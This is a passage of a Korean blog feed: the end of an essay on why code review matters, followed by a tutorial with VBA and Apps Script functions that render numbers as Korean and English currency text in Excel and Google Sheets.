&lt;h2&gt;혼자서는 절대 볼 수 없는 것들&lt;/h2&gt;
&lt;p&gt;코드를 짜다 보면 당장은 명확해 보이지만, 나중에 보면 스스로도 이해하기 어려운 로직이 생기기 마련이다. 특히 일정에 쫓기거나, 익숙하지 않은 도메인을 처음 다룰 때는 더 그렇다. 코드리뷰는 그런 상황에서 하나의 ‘안전망’이 된다. 내가 놓친 예외 처리를 동료가 발견해주고, 더 좋은 방식으로 개선할 기회를 얻는다.&lt;/p&gt;
&lt;p&gt;단순히 틀린 부분을 잡아주는 걸 넘어서, 코드리뷰는 다양한 시각을 반영하게 만든다. 같은 문제를 바라보는 여러 접근 방식을 배우게 되고, 팀 안에서 일관된 스타일을 유지하는 데도 도움이 된다. 실제로 내가 겪었던 코드 리뷰 중 기억에 남는 건, 변수명을 좀 더 명확하게 바꾸는 작은 제안이었다. 사소한 것처럼 보여도, 이후 유지보수에 큰 차이를 만든다.&lt;/p&gt;
&lt;h2&gt;성장하고 싶다면 반드시 필요한 과정&lt;/h2&gt;
&lt;p&gt;혼자 개발할 때는 내가 어디서부터 틀렸는지, 어떻게 개선할 수 있는지 파악하기 어렵다. 반면 리뷰는 곧 피드백이고, 그 피드백은 내가 성장할 수 있는 자양분이 된다. 물론 모든 리뷰가 생산적인 건 아니지만, 좋은 리뷰를 주고받는 문화는 개발자 실력을 몇 단계 끌어올려준다.&lt;/p&gt;
&lt;p&gt;예전엔 리뷰를 받으면 방어적으로 대응할 때도 있었다. 지금은 그게 오히려 기회라는 걸 안다. 내 코드가 팀의 자산이 되는 순간, 더 좋은 방향으로 다듬어지는 게 당연하다. 리뷰를 통해 생각이 정제되고, 문서화된 규칙 없이도 팀의 기술적 철학이 자연스럽게 공유된다.&lt;/p&gt;
&lt;h2&gt;코드리뷰는 팀을 위한 투자다&lt;/h2&gt;
&lt;p&gt;코드리뷰는 시간이 드는 일이다. 빠르게 개발하고 싶은 마음에 생략하고 싶을 때도 있다. 하지만 그때마다 되돌아보게 된다. 리뷰 없이 진행한 기능은 장애가 났고, 리뷰가 꼼꼼히 진행된 기능은 예외에 강했다.&lt;/p&gt;
&lt;p&gt;리뷰는 단기적으로는 느릴 수 있지만, 장기적으로는 팀 전체의 리스크를 줄여준다. 버그를 사전에 줄이고, 공통된 스타일을 만들고, 신규 멤버가 빠르게 팀에 적응할 수 있도록 돕는다. 코드리뷰는 단지 코드에 대한 평가가 아니라, 팀의 개발 수준을 일정하게 유지하기 위한 최소한의 투자다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;코드리뷰는 이제 개발자의 성장과 팀의 완성도를 높이기 위한 필수 과정이다. 처음엔 불편하고 번거로울 수 있지만, 그 과정을 거친 팀은 반드시 더 강해진다. 나에게 코드리뷰는 피드백의 도구이자, 협업의 문화이며, 실수를 줄이는 가장 현실적인 방법이다.&lt;/p&gt;</description>
      <category>잡생각/회고</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/495</guid>
      <comments>https://eyecandyzero.tistory.com/495#entry495comment</comments>
      <pubDate>Thu, 12 Jun 2025 04:13:34 +0900</pubDate>
    </item>
    <item>
      <title>엑셀/스프레디시트에서 숫자를 한글로 표기하는 방법 총정리 (Excel to Hangul Conversion)</title>
      <link>https://eyecandyzero.tistory.com/494</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;연관글&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/271&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2025.04.18 - [Programing/javascript] -   숫자를 한글로 금액 단위로 표현&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/272&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2025.04.18 - [Programing/javascript] -   숫자를 한글 숫자 표기로 변환&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/438&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2025.05.27 - [Programing/javascript] - JavaScript로 구현하는 금액의 영어 단위 변환 (Number to Words)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/439&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2025.05.27 - [Programing/javascript] - JavaScript로 구현하는 금액 단축 표기 (K / M / B 표기법)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2025.05.27 - [Programing/javascript] - JavaScript로 구현하는 게임 데미지 단위 축약 (A ~ ZZZZ)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 직장인과 문서 실무자들이 &quot;한글 표기법&quot;을 선호하는 이유는 단순한 미관이나 언어 취향을 넘어서, 실제 문서 작성에서 요구되는 표준과 깊은 관련이 있기 때문입니다. 예를 들어, 세금계산서, 법률 문서, 공공기관 제출용 행정서류, 건물 조회 및 유지관리 문서 등에서는 숫자를 아라비아 숫자 그대로 사용하는 것보다, &quot;일백만 원&quot;, &quot;이천오백삼십만 원&quot;과 같은 한글 표기로 표기하는 것이 더 정확하고 명확한 의사 전달에 적합하다는 평가를 받고 있습니다. 이는 숫자에 익숙하지 않은 사람이나 고연령층에게도 혼동 없이 의미를 전달하기에 용이하며, 금전 관련 문서에서 발생할 수 있는 숫자 위&amp;middot;변조를 방지하는 효과도 기대할 수 있습니다. 또한 국세청이나 지자체 등에서 요구하는 문서 포맷 중 일부는 한글 금액 표기를 필수로 요구하는 경우가 많아, 이러한 변환 기능은 업무 효율성과 문서의 신뢰도를 동시에 높여주는 중요한 요소로 작용합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;기능 소개&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Windows용 Excel&lt;/code&gt;, &lt;code&gt;Mac용 Excel&lt;/code&gt;, &lt;code&gt;Google 스프레드시트&lt;/code&gt;, &lt;code&gt;Apple Numbers&lt;/code&gt;, &lt;code&gt;Microsoft Office Online&lt;/code&gt;에서 아래와 같은 기능을 사용할 수 있는 방법에 대해 알아보겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;숫자를 한글 금액 단위로 표현 - &lt;code&gt;formatKoreanCurrency&lt;/code&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;123456789 &amp;rarr; 1억 2,345만 6,789원&lt;/li&gt;
&lt;li&gt;₩98,765,432,100원 &amp;rarr; 987억 6,543만 2,100원&lt;/li&gt;
&lt;li&gt;1,234만원 &amp;rarr; 1,234만원&lt;/li&gt;
&lt;li&gt;1000000000000 &amp;rarr; 1조원&lt;/li&gt;
&lt;li&gt; 123억 45만  &amp;rarr; 123억 45만원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;숫자를 한글 숫자 표기로 변환 - &lt;code&gt;numberToHan&lt;/code&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;123456789 &amp;rarr; 일억이천삼백사십오만육천칠백팔십구&lt;/li&gt;
&lt;li&gt;1,002,003,000 &amp;rarr; 일십억이백만삼천&lt;/li&gt;
&lt;li&gt;000123456 &amp;rarr; 십이만삼천사백오십육&lt;/li&gt;
&lt;li&gt;12억3천만원 &amp;rarr; 일십이억삼천만원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;금액의 영어 단위 변환 - &lt;code&gt;numberToWords&lt;/code&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;101 &amp;rarr; One Hundred One&lt;/li&gt;
&lt;li&gt;0 &amp;rarr; Zero&lt;/li&gt;
&lt;li&gt;1000000 &amp;rarr; One Million&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;금액 단축 표기(K/M/B) - &lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1,000 &amp;rarr; &quot;K&quot; (Thousand)&lt;/li&gt;
&lt;li&gt;1,000,000 &amp;rarr; &quot;M&quot; (Million)&lt;/li&gt;
&lt;li&gt;1,000,000,000 &amp;rarr; &quot;B&quot; (Billion)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Windows용 Excel&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엑셀에서 위 4가지 기능(&lt;code&gt;formatKoreanCurrency&lt;/code&gt;, &lt;code&gt;numberToHan&lt;/code&gt;, &lt;code&gt;numberToWords&lt;/code&gt;, &lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;)을 사용하려면 &lt;b&gt;VBA 사용자 정의 함수(UDF)&lt;/b&gt;로 구현해야 합니다. 아래는 각 기능을 엑셀에서 사용할 수 있도록 변환한 &lt;b&gt;VBA 코드&lt;/b&gt;입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;숫자를 한글 금액 단위로 표현 - &lt;code&gt;formatKoreanCurrency&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;Function FormatKoreanCurrency(ByVal input As Variant) As String
    Dim num As Double
    Dim unitNames As Variant
    Dim result As String
    Dim unitIndex As Integer
    Dim value As Double
    Dim chunk As Double

    On Error GoTo Invalid
    num = CDbl(Replace(input, &quot;,&quot;, &quot;&quot;))
    If num &amp;lt; 0 Then FormatKoreanCurrency = &quot;0원&quot;: Exit Function
    If num = 0 Then FormatKoreanCurrency = &quot;0원&quot;: Exit Function

    unitNames = Array(&quot;&quot;, &quot;만&quot;, &quot;억&quot;, &quot;조&quot;, &quot;경&quot;, &quot;해&quot;)
    unitIndex = 0
    value = num
    result = &quot;&quot;

    Do While value &amp;gt; 0
        chunk = value Mod 10000
        If chunk &amp;gt; 0 Then
            result = Format(chunk, &quot;#,##0&quot;) &amp;amp; unitNames(unitIndex) &amp;amp; &quot; &quot; &amp;amp; result
        End If
        value = Int(value / 10000)
        unitIndex = unitIndex + 1
    Loop

    FormatKoreanCurrency = Trim(result) &amp;amp; &quot;원&quot;
    Exit Function
Invalid:
    FormatKoreanCurrency = &quot;0원&quot;
End Function
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;숫자를 한글 숫자 표기로 변환 - &lt;code&gt;numberToHan&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;Function NumberToHan(ByVal input As Variant) As String
    Dim hanNum As Variant: hanNum = Array(&quot;&quot;, &quot;일&quot;, &quot;이&quot;, &quot;삼&quot;, &quot;사&quot;, &quot;오&quot;, &quot;육&quot;, &quot;칠&quot;, &quot;팔&quot;, &quot;구&quot;)
    Dim unit1 As Variant: unit1 = Array(&quot;&quot;, &quot;십&quot;, &quot;백&quot;, &quot;천&quot;)
    Dim unit4 As Variant: unit4 = Array(&quot;&quot;, &quot;만&quot;, &quot;억&quot;, &quot;조&quot;, &quot;경&quot;)

    Dim numStr As String, result As String
    Dim i As Integer, j As Integer
    Dim chunk As String, digit As Integer, part As String
    input = Replace(CStr(input), &quot;,&quot;, &quot;&quot;)
    If Not IsNumeric(input) Then NumberToHan = &quot;&quot;: Exit Function

    numStr = StrReverse(input)
    result = &quot;&quot;

    For i = 0 To Len(numStr) \ 4
        part = &quot;&quot;
        chunk = Mid(numStr, i * 4 + 1, 4)
        For j = 1 To Len(chunk)
            digit = Mid(chunk, j, 1)
            If Val(digit) &amp;gt; 0 Then
                part = hanNum(Val(digit)) &amp;amp; unit1(j - 1) &amp;amp; part
            End If
        Next j
        If Len(part) &amp;gt; 0 Then
            result = part &amp;amp; unit4(i) &amp;amp; result
        End If
    Next i

    NumberToHan = result
End Function
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;금액의 영어 단위 변환 - &lt;code&gt;numberToWords&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;vbscript&quot;&gt;&lt;code&gt;Function NumberToWords(ByVal num As Double) As String
    Dim below20 As Variant
    below20 = Array(&quot;&quot;, &quot;One&quot;, &quot;Two&quot;, &quot;Three&quot;, &quot;Four&quot;, &quot;Five&quot;, &quot;Six&quot;, &quot;Seven&quot;, &quot;Eight&quot;, &quot;Nine&quot;, _
                    &quot;Ten&quot;, &quot;Eleven&quot;, &quot;Twelve&quot;, &quot;Thirteen&quot;, &quot;Fourteen&quot;, &quot;Fifteen&quot;, &quot;Sixteen&quot;, _
                    &quot;Seventeen&quot;, &quot;Eighteen&quot;, &quot;Nineteen&quot;)
    Dim tens As Variant
    tens = Array(&quot;&quot;, &quot;&quot;, &quot;Twenty&quot;, &quot;Thirty&quot;, &quot;Forty&quot;, &quot;Fifty&quot;, &quot;Sixty&quot;, &quot;Seventy&quot;, &quot;Eighty&quot;, &quot;Ninety&quot;)
    Dim thousands As Variant
    thousands = Array(&quot;&quot;, &quot;Thousand&quot;, &quot;Million&quot;, &quot;Billion&quot;)

    If num = 0 Then NumberToWords = &quot;Zero&quot;: Exit Function

    Dim result As String: result = &quot;&quot;
    Dim i As Integer

    For i = 0 To 3
        Dim n As Long: n = num Mod 1000
        If n &amp;gt; 0 Then
            result = HelperWords(n, below20, tens) &amp;amp; thousands(i) &amp;amp; &quot; &quot; &amp;amp; result
        End If
        num = Int(num / 1000)
    Next i

    NumberToWords = Application.WorksheetFunction.Trim(result)
End Function

Private Function HelperWords(ByVal n As Long, below20 As Variant, tens As Variant) As String
    If n = 0 Then
        HelperWords = &quot;&quot;
    ElseIf n &amp;lt; 20 Then
        HelperWords = below20(n) &amp;amp; &quot; &quot;
    ElseIf n &amp;lt; 100 Then
        HelperWords = tens(Int(n / 10)) &amp;amp; &quot; &quot; &amp;amp; HelperWords(n Mod 10, below20, tens)
    Else
        HelperWords = below20(Int(n / 100)) &amp;amp; &quot; Hundred &quot; &amp;amp; HelperWords(n Mod 100, below20, tens)
    End If
End Function
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;금액 단축 표기(K/M/B) - &lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;vbnet&quot;&gt;&lt;code&gt;Function FormatCurrencyAbbreviation(ByVal num As Double, Optional digits As Integer = 1) As String
    Dim absNum As Double: absNum = Abs(num)
    Dim sign As String: sign = IIf(num &amp;lt; 0, &quot;-&quot;, &quot;&quot;)

    If absNum &amp;gt;= 1000000000# Then
        FormatCurrencyAbbreviation = sign &amp;amp; Round(absNum / 1000000000#, digits) &amp;amp; &quot;B&quot;
    ElseIf absNum &amp;gt;= 1000000 Then
        FormatCurrencyAbbreviation = sign &amp;amp; Round(absNum / 1000000, digits) &amp;amp; &quot;M&quot;
    ElseIf absNum &amp;gt;= 1000 Then
        FormatCurrencyAbbreviation = sign &amp;amp; Round(absNum / 1000, digits) &amp;amp; &quot;K&quot;
    Else
        FormatCurrencyAbbreviation = sign &amp;amp; CStr(absNum)
    End If
End Function
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사용 방법&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;엑셀 실행 &amp;gt; &lt;code&gt;Alt + F11&lt;/code&gt;&lt;/b&gt; (VBA 편집기 열기)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;삽입 &amp;gt; 모듈&lt;/code&gt;&lt;/b&gt; 선택&lt;/li&gt;
&lt;li&gt;위 코드들을 각각 복사해서 붙여넣기&lt;/li&gt;
&lt;li&gt;엑셀 시트로 돌아가서 아래처럼 사용:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;excel&quot;&gt;&lt;code&gt;=FormatKoreanCurrency(12345678)       &amp;rarr; &quot;1234만 5678원&quot;
=NumberToHan(123456789)               &amp;rarr; &quot;일억이천삼백사십오만육천칠백팔십구&quot;
=NumberToWords(123456789)             &amp;rarr; &quot;One Hundred Twenty Three Million Four Hundred Fifty Six Thousand Seven Hundred Eighty Nine&quot;
=FormatCurrencyAbbreviation(1234567)  &amp;rarr; &quot;1.2M&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Mac용 Excel&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mac용 엑셀에서도 위에서 제공한 &lt;b&gt;VBA 사용자 정의 함수(UDF)&lt;/b&gt;를 그대로 사용할 수 있습니다. 다만, 몇 가지 &lt;b&gt;주의사항&lt;/b&gt;과 &lt;b&gt;단계별 설명&lt;/b&gt;이 필요합니다. 아래 순서대로 따라 하시면 됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Mac용 Excel에서 VBA 함수 사용하는 방법&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. &lt;b&gt;엑셀 열기 &amp;gt; VBA 편집기 진입&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;엑셀을 열고 &lt;code&gt;Cmd + Option + F11&lt;/code&gt; (또는 메뉴: &lt;code&gt;도구 &amp;gt; 매크로 &amp;gt; Visual Basic Editor&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;왼쪽 탐색기에서 원하는 &lt;b&gt;워크북(예: ThisWorkbook)&lt;/b&gt; 아래에 있는 &lt;code&gt;Modules&lt;/code&gt;를 확인하거나, 없으면 새로 생성합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. &lt;b&gt;모듈 삽입&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메뉴에서 &lt;b&gt;&lt;code&gt;삽입 &amp;gt; 모듈&lt;/code&gt;&lt;/b&gt; 선택&lt;/li&gt;
&lt;li&gt;새 모듈(Module1 등)에 이전에 제공한 코드를 &lt;b&gt;복사하여 붙여넣기&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;예: &lt;code&gt;Function FormatKoreanCurrency(...)&lt;/code&gt;, &lt;code&gt;Function NumberToHan(...)&lt;/code&gt; 등&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. &lt;b&gt;저장&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 저장 시 &lt;code&gt;.xlsm&lt;/code&gt; 또는 &lt;code&gt;.xlsb&lt;/code&gt; 포맷으로 저장해야 매크로 기능이 활성화됩니다.&lt;br /&gt;(&lt;code&gt;.xlsx&lt;/code&gt;는 VBA 포함 불가)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Mac Excel 사용 시 주의사항&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;버전&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Microsoft 365 / Office 2016 이상 권장 (그 이하에선 일부 기능 제한)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;보안 설정&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;메뉴 &lt;code&gt;Excel &amp;gt; 환경설정 &amp;gt; 보안 및 개인 정보 보호&lt;/code&gt;에서 &lt;b&gt;매크로 사용 허용&lt;/b&gt;으로 설정해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;함수 자동 완성&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Mac에서는 사용자 정의 함수(UDF)가 자동완성 목록에 보이지 않지만 직접 입력하면 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;VBA 디버깅&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;오류 발생 시, VBA 편집기에서 중단점을 걸거나 &lt;code&gt;MsgBox&lt;/code&gt;, &lt;code&gt;Debug.Print&lt;/code&gt; 등으로 추적 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Google 스프레디시트&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Apps Script를 활용해 사용자 정의 함수를 만들 수 있습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;상단 메뉴 &amp;rarr; 확장 프로그램 &amp;rarr; Apps Script 진입&lt;/li&gt;
&lt;li&gt;아래 스크립트를 복사 후 붙여 넣기&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Drive 에 프로젝트 저장&lt;/code&gt; 버튼 클릭(저장 아이콘으로 표기되어 있음)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;숫자를 한글 금액 단위로 표현 - &lt;code&gt;formatKoreanCurrency&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function formatKoreanCurrency(input) {
  let numeric = typeof input === &quot;string&quot; ? input.replace(/[^\d]/g, &quot;&quot;) : input;
  const amount = Number(numeric);
  if (isNaN(amount) || amount &amp;lt; 0) return &quot;0원&quot;;
  if (amount === 0) return &quot;0원&quot;;

  const unitNames = [&quot;&quot;, &quot;만&quot;, &quot;억&quot;, &quot;조&quot;, &quot;경&quot;, &quot;해&quot;];
  const result = [];
  let value = amount;
  let unitIndex = 0;

  while (value &amp;gt; 0) {
    const chunk = value % 10000;
    if (chunk &amp;gt; 0) {
      result.unshift(`${chunk.toLocaleString()}${unitNames[unitIndex]}`);
    }
    value = Math.floor(value / 10000);
    unitIndex++;
  }

  return result.join(&quot; &quot;) + &quot;원&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;숫자를 한글 숫자 표기로 변환 - &lt;code&gt;numberToHan&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function numberToHan(input) {
  const hanNum = ['', '일', '이', '삼', '사', '오', '육', '칠', '팔', '구'];
  const unit1 = ['', '십', '백', '천'];
  const unit4 = ['', '만', '억', '조', '경'];

  // 한글 금액을 숫자로 변환 (예: &quot;12억3천만원&quot; &amp;rarr; 123000000)
  function parseKoreanAmountToNumber(str) {
    if (typeof str !== 'string') return Number(str);

    let total = 0;
    let temp = 0;
    const units = {
      '해': 100000000000000000000,
      '경': 10000000000000000,
      '조': 1000000000000,
      '억': 100000000,
      '만': 10000,
      '천': 1000,
      '백': 100,
      '십': 10
    };

    str = str.replace(/[^\d가-힣]/g, '');
    const regex = /(\d+)(해|경|조|억|만|천|백|십)?/g;
    let match;

    while ((match = regex.exec(str)) !== null) {
      const num = parseInt(match[1]);
      const unit = match[2];

      if (unit &amp;amp;&amp;amp; units[unit]) {
        total += num * units[unit];
      } else {
        temp += num;
      }
    }

    return total + temp;
  }

  let num = parseKoreanAmountToNumber(input);
  if (!num || isNaN(num)) return '';
  num = String(num);
  const reversed = num.split('').reverse().join('');
  const split4 = [];

  for (let i = 0; i &amp;lt; reversed.length; i += 4) {
    split4.push(reversed.substring(i, i + 4));
  }

  const result = [];

  for (let i = 0; i &amp;lt; split4.length; i++) {
    const chunk = split4[i].split('');
    const temp = [];

    for (let j = 0; j &amp;lt; chunk.length; j++) {
      const digit = parseInt(chunk[j]);
      if (digit &amp;gt; 0) {
        temp.unshift(hanNum[digit] + unit1[j]);
      }
    }

    if (temp.length &amp;gt; 0) {
      result.unshift(temp.join('') + unit4[i]);
    }
  }

  return result.join('');
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;금액의 영어 단위 변환 - &lt;code&gt;numberToWords&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function numberToWords(num) {
  if (Number(num) === 0) return &quot;Zero&quot;;

  num = Number(num);
  const below20 = [&quot;&quot;, &quot;One&quot;, &quot;Two&quot;, &quot;Three&quot;, &quot;Four&quot;, &quot;Five&quot;, &quot;Six&quot;, &quot;Seven&quot;, &quot;Eight&quot;, &quot;Nine&quot;, &quot;Ten&quot;,
    &quot;Eleven&quot;, &quot;Twelve&quot;, &quot;Thirteen&quot;, &quot;Fourteen&quot;, &quot;Fifteen&quot;, &quot;Sixteen&quot;,
    &quot;Seventeen&quot;, &quot;Eighteen&quot;, &quot;Nineteen&quot;];
  const tens = [&quot;&quot;, &quot;&quot;, &quot;Twenty&quot;, &quot;Thirty&quot;, &quot;Forty&quot;, &quot;Fifty&quot;, &quot;Sixty&quot;, &quot;Seventy&quot;, &quot;Eighty&quot;, &quot;Ninety&quot;];
  const thousands = [&quot;&quot;, &quot;Thousand&quot;, &quot;Million&quot;, &quot;Billion&quot;];

  function helper(n) {
    if (n === 0) return &quot;&quot;;
    else if (n &amp;lt; 20) return below20[n] + &quot; &quot;;
    else if (n &amp;lt; 100) return tens[Math.floor(n / 10)] + &quot; &quot; + helper(n % 10);
    else return below20[Math.floor(n / 100)] + &quot; Hundred &quot; + helper(n % 100);
  }

  let word = &quot;&quot;;
  let i = 0;

  while (num &amp;gt; 0) {
    if (num % 1000 !== 0) {
      word = helper(num % 1000) + thousands[i] + &quot; &quot; + word;
    }
    num = Math.floor(num / 1000);
    i++;
  }

  return word.trim();
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;금액 단축 표기(K/M/B) - &lt;code&gt;formatCurrencyAbbreviation&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;maxima&quot;&gt;&lt;code&gt;function formatCurrencyAbbreviation(num, digits = 1) {
  if (Number(num) === 0) return &quot;0&quot;;

  const units = [
      { value: 1000000000, symbol: &quot;B&quot; },
      { value: 1000000, symbol: &quot;M&quot; },
      { value: 1000, symbol: &quot;K&quot; }
  ];

  const absNum = Math.abs(num);
  const sign = num &amp;lt; 0 ? &quot;-&quot; : &quot;&quot;;

  for (let i = 0; i &amp;lt; units.length; i++) {
    if (absNum &amp;gt;= units[i].value) {
      return sign + (absNum / units[i].value).toFixed(digits).replace(/\.0+$/, &quot;&quot;) + units[i].symbol;
    }
  }

  return sign + absNum.toString();
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Apple Numbers&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Apple &lt;b&gt;Numbers&lt;/b&gt;는 매우 제한적인 기능만 제공하기 때문에, JavaScript, VBA, Apps Script처럼 &lt;b&gt;사용자 정의 함수(Custom Function)&lt;/b&gt;를 직접 만들 수 없습니다.&lt;br /&gt;따라서 다음과 같이 &lt;b&gt;가능한 기능은 수식으로, 불가능한 기능은 우회 방식으로 처리&lt;/b&gt;해야 합니다.&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;함수 이름&lt;/th&gt;
&lt;th&gt;기능 설명&lt;/th&gt;
&lt;th&gt;Numbers에서 가능 여부&lt;/th&gt;
&lt;th&gt;대체 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;formatKoreanCurrency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;숫자 &amp;rarr; &quot;1억 2,345만 6,789원&quot;&lt;/td&gt;
&lt;td&gt;⚠️ 부분 가능&lt;/td&gt;
&lt;td&gt;수식 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;numberToHan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;숫자 &amp;rarr; 한글 읽기 (일억이천...)&lt;/td&gt;
&lt;td&gt;❌ 불가&lt;/td&gt;
&lt;td&gt;수작업 또는 외부 변환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
